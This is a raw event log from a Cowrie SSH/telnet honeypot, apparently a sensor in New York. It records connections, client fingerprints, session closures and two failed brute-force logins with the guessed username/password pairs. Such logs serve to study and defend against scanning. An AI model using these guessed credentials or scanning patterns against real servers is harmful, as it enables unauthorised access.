{"eventid":"cowrie.session.connect","src_ip":"78.134.49.171","src_port":41394,"dst_ip":"159.203.135.109","dst_port":22,"session":"94b8c96863f3","protocol":"ssh","message":"New connection: 78.134.49.171:41394 (159.203.135.109:22) [session: 94b8c96863f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:06.565425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:06.570403Z","src_ip":"78.134.49.171","session":"94b8c96863f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:06.683446Z","src_ip":"78.134.49.171","session":"94b8c96863f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser01","password":"sftpuser01","message":"login attempt [sftpuser01/sftpuser01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:07.151751Z","src_ip":"78.134.49.171","session":"94b8c96863f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:08.261568Z","src_ip":"78.134.49.171","session":"94b8c96863f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.82697629928589,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:24.115294Z","src_ip":"20.231.213.159","session":"54932a194ce3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":48140,"dst_ip":"159.203.135.109","dst_port":23,"session":"04f680f72a33","protocol":"telnet","message":"New connection: 202.91.32.11:48140 (159.203.135.109:23) [session: 04f680f72a33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:27.587164Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":48144,"dst_ip":"159.203.135.109","dst_port":23,"session":"929f571939ec","protocol":"telnet","message":"New connection: 202.91.32.11:48144 (159.203.135.109:23) [session: 929f571939ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:29.226600Z"}
{"eventid":"cowrie.session.closed","duration":32.28501629829407,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:29.761358Z","src_ip":"202.91.32.11","session":"11170e241ce5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":39212,"dst_ip":"159.203.135.109","dst_port":23,"session":"076764047cfa","protocol":"telnet","message":"New connection: 202.91.32.11:39212 (159.203.135.109:23) [session: 076764047cfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:32.791839Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":39216,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd33ea388747","protocol":"telnet","message":"New connection: 202.91.32.11:39216 (159.203.135.109:23) [session: cd33ea388747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:32.932130Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":39226,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fc261bdd0ba","protocol":"telnet","message":"New connection: 202.91.32.11:39226 (159.203.135.109:23) [session: 0fc261bdd0ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:33.357717Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":39240,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae95246402e7","protocol":"telnet","message":"New connection: 202.91.32.11:39240 (159.203.135.109:23) [session: ae95246402e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:34.384480Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":39242,"dst_ip":"159.203.135.109","dst_port":23,"session":"a57f2244fad7","protocol":"telnet","message":"New connection: 202.91.32.11:39242 (159.203.135.109:23) [session: a57f2244fad7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:34.857558Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":39256,"dst_ip":"159.203.135.109","dst_port":23,"session":"5357d672d055","protocol":"telnet","message":"New connection: 202.91.32.11:39256 (159.203.135.109:23) [session: 5357d672d055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:39.421736Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":39266,"dst_ip":"159.203.135.109","dst_port":23,"session":"52ac9106e457","protocol":"telnet","message":"New connection: 202.91.32.11:39266 (159.203.135.109:23) [session: 52ac9106e457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:39.692636Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":39282,"dst_ip":"159.203.135.109","dst_port":23,"session":"10d35ef78ca9","protocol":"telnet","message":"New connection: 202.91.32.11:39282 (159.203.135.109:23) [session: 10d35ef78ca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:39.808955Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":39290,"dst_ip":"159.203.135.109","dst_port":23,"session":"95acc2f13150","protocol":"telnet","message":"New connection: 202.91.32.11:39290 (159.203.135.109:23) [session: 95acc2f13150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:41.458470Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":39304,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e3ccbcb23d5","protocol":"telnet","message":"New connection: 202.91.32.11:39304 (159.203.135.109:23) [session: 7e3ccbcb23d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:41.566135Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":39314,"dst_ip":"159.203.135.109","dst_port":23,"session":"48c24f8fd834","protocol":"telnet","message":"New connection: 202.91.32.11:39314 (159.203.135.109:23) [session: 48c24f8fd834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:41.705517Z"}
{"eventid":"cowrie.session.connect","src_ip":"191.255.52.36","src_port":42286,"dst_ip":"159.203.135.109","dst_port":22,"session":"648690ecc525","protocol":"ssh","message":"New connection: 191.255.52.36:42286 (159.203.135.109:22) [session: 648690ecc525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:42.010901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:42.015879Z","src_ip":"191.255.52.36","session":"648690ecc525","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:42.149662Z","src_ip":"191.255.52.36","session":"648690ecc525","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":39328,"dst_ip":"159.203.135.109","dst_port":23,"session":"5de096d15125","protocol":"telnet","message":"New connection: 202.91.32.11:39328 (159.203.135.109:23) [session: 5de096d15125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:42.236434Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":39342,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffd92a8124c7","protocol":"telnet","message":"New connection: 202.91.32.11:39342 (159.203.135.109:23) [session: ffd92a8124c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:42.695063Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789bb","message":"login attempt [root/123456789bb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:42.823182Z","src_ip":"191.255.52.36","session":"648690ecc525","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46244,"dst_ip":"159.203.135.109","dst_port":23,"session":"071e1b861a1c","protocol":"telnet","message":"New connection: 202.91.32.11:46244 (159.203.135.109:23) [session: 071e1b861a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:43.009033Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:44.024041Z","src_ip":"191.255.52.36","session":"648690ecc525","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46254,"dst_ip":"159.203.135.109","dst_port":23,"session":"32bf15a43981","protocol":"telnet","message":"New connection: 202.91.32.11:46254 (159.203.135.109:23) [session: 32bf15a43981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:45.284121Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46266,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5d432849410","protocol":"telnet","message":"New connection: 202.91.32.11:46266 (159.203.135.109:23) [session: c5d432849410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:45.472376Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46278,"dst_ip":"159.203.135.109","dst_port":23,"session":"36bd79cd5316","protocol":"telnet","message":"New connection: 202.91.32.11:46278 (159.203.135.109:23) [session: 36bd79cd5316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:47.023333Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46292,"dst_ip":"159.203.135.109","dst_port":23,"session":"174f6eba88c6","protocol":"telnet","message":"New connection: 202.91.32.11:46292 (159.203.135.109:23) [session: 174f6eba88c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:49.477674Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46296,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b74050e1879","protocol":"telnet","message":"New connection: 202.91.32.11:46296 (159.203.135.109:23) [session: 8b74050e1879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:49.554344Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46306,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2765720ce76","protocol":"telnet","message":"New connection: 202.91.32.11:46306 (159.203.135.109:23) [session: e2765720ce76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:51.074193Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46314,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb9827645291","protocol":"telnet","message":"New connection: 202.91.32.11:46314 (159.203.135.109:23) [session: eb9827645291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:52.430104Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46324,"dst_ip":"159.203.135.109","dst_port":23,"session":"57af8ce8d0aa","protocol":"telnet","message":"New connection: 202.91.32.11:46324 (159.203.135.109:23) [session: 57af8ce8d0aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:52.469333Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42372,"dst_ip":"159.203.135.109","dst_port":23,"session":"82c0ad4dee25","protocol":"telnet","message":"New connection: 202.91.32.11:42372 (159.203.135.109:23) [session: 82c0ad4dee25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:54.252620Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42382,"dst_ip":"159.203.135.109","dst_port":23,"session":"a340e2db7314","protocol":"telnet","message":"New connection: 202.91.32.11:42382 (159.203.135.109:23) [session: a340e2db7314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:55.530794Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42390,"dst_ip":"159.203.135.109","dst_port":23,"session":"452bf98d4024","protocol":"telnet","message":"New connection: 202.91.32.11:42390 (159.203.135.109:23) [session: 452bf98d4024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:55.576003Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42392,"dst_ip":"159.203.135.109","dst_port":23,"session":"5623681b1563","protocol":"telnet","message":"New connection: 202.91.32.11:42392 (159.203.135.109:23) [session: 5623681b1563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:55.776397Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42404,"dst_ip":"159.203.135.109","dst_port":23,"session":"2561e64d322a","protocol":"telnet","message":"New connection: 202.91.32.11:42404 (159.203.135.109:23) [session: 2561e64d322a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:55.813807Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42406,"dst_ip":"159.203.135.109","dst_port":23,"session":"37683121f4b2","protocol":"telnet","message":"New connection: 202.91.32.11:42406 (159.203.135.109:23) [session: 37683121f4b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:56.138875Z"}
{"eventid":"cowrie.session.closed","duration":30.707877159118652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:58.294887Z","src_ip":"202.91.32.11","session":"04f680f72a33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42408,"dst_ip":"159.203.135.109","dst_port":23,"session":"7424c53d1c4a","protocol":"telnet","message":"New connection: 202.91.32.11:42408 (159.203.135.109:23) [session: 7424c53d1c4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:58.377584Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42422,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d64a5fa6ce7","protocol":"telnet","message":"New connection: 202.91.32.11:42422 (159.203.135.109:23) [session: 8d64a5fa6ce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:58.967917Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42436,"dst_ip":"159.203.135.109","dst_port":23,"session":"47459f0208ce","protocol":"telnet","message":"New connection: 202.91.32.11:42436 (159.203.135.109:23) [session: 47459f0208ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:16:59.661781Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42444,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd3636cd22b8","protocol":"telnet","message":"New connection: 202.91.32.11:42444 (159.203.135.109:23) [session: bd3636cd22b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:17:00.132891Z"}
{"eventid":"cowrie.session.closed","duration":31.499271154403687,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:17:00.725734Z","src_ip":"202.91.32.11","session":"929f571939ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18632411956787,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:17:04.543930Z","src_ip":"202.91.32.11","session":"0fc261bdd0ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.875630140304565,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:17:04.667269Z","src_ip":"202.91.32.11","session":"076764047cfa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.27592420578003,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:17:05.207934Z","src_ip":"202.91.32.11","session":"cd33ea388747","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.943150758743286,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:17:05.327502Z","src_ip":"202.91.32.11","session":"ae95246402e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00620746612549,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:17:05.863629Z","src_ip":"202.91.32.11","session":"a57f2244fad7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":43998,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa85b86f58bc","protocol":"telnet","message":"New connection: 202.91.32.11:43998 (159.203.135.109:23) [session: aa85b86f58bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:17:08.744180Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":44008,"dst_ip":"159.203.135.109","dst_port":23,"session":"386be73f311e","protocol":"telnet","message":"New connection: 202.91.32.11:44008 (159.203.135.109:23) [session: 386be73f311e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:17:09.184470Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":44024,"dst_ip":"159.203.135.109","dst_port":23,"session":"4af60a356062","protocol":"telnet","message":"New connection: 202.91.32.11:44024 (159.203.135.109:23) [session: 4af60a356062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:17:09.978758Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":44028,"dst_ip":"159.203.135.109","dst_port":23,"session":"abf5eefe11ad","protocol":"telnet","message":"New connection: 202.91.32.11:44028 (159.203.135.109:23) [session: abf5eefe11ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:17:10.198789Z"}
{"eventid":"cowrie.session.closed","duration":30.66512417793274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:17:10.473955Z","src_ip":"202.91.32.11","session":"10d35ef78ca9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":44040,"dst_ip":"159.203.135.109","dst_port":23,"session":"9aeaeb6b36c8","protocol":"telnet","message":"New connection: 202.91.32.11:44040 (159.203.135.109:23) [session: 9aeaeb6b36c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:17:10.867970Z"}
{"eventid":"cowrie.session.closed","duration":32.25717258453369,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:17:11.678788Z","src_ip":"202.91.32.11","session":"5357d672d055","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.27549123764038,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:17:11.967974Z","src_ip":"202.91.32.11","session":"52ac9106e457","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.635948419570923,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:17:12.094301Z","src_ip":"202.91.32.11","session":"95acc2f13150","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":44050,"dst_ip":"159.203.135.109","dst_port":23,"session":"64a3262b4049","protocol":"telnet","message":"New connection: 202.91.32.11:44050 (159.203.135.109:23) [session: 64a3262b4049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:17:12.493651Z"}
{"eventid":"cowrie.session.closed","duration":30.952381372451782,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:17:12.657771Z","src_ip":"202.91.32.11","session":"48c24f8fd834","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.324963808059692,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:17:12.890996Z","src_ip":"202.91.32.11","session":"7e3ccbcb23d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":50802,"dst_ip":"159.203.135.109","dst_port":23,"session":"975b02c489b3","protocol":"telnet","message":"New connection: 202.91.32.11:50802 (159.203.135.109:23) [session: 975b02c489b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:17:13.020206Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":50808,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf38ff859c8e","protocol":"telnet","message":"New connection: 202.91.32.11:50808 (159.203.135.109:23) [session: bf38ff859c8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:17:13.257028Z"}
{"eventid":"cowrie.session.closed","duration":30.599133729934692,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:17:13.294086Z","src_ip":"202.91.32.11","session":"ffd92a8124c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":50816,"dst_ip":"159.203.135.109","dst_port":23,"session":"eca8fc5c1218","protocol":"telnet","message":"New connection: 202.91.32.11:50816 (159.203.135.109:23) [session: eca8fc5c1218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:17:13.345227Z"}
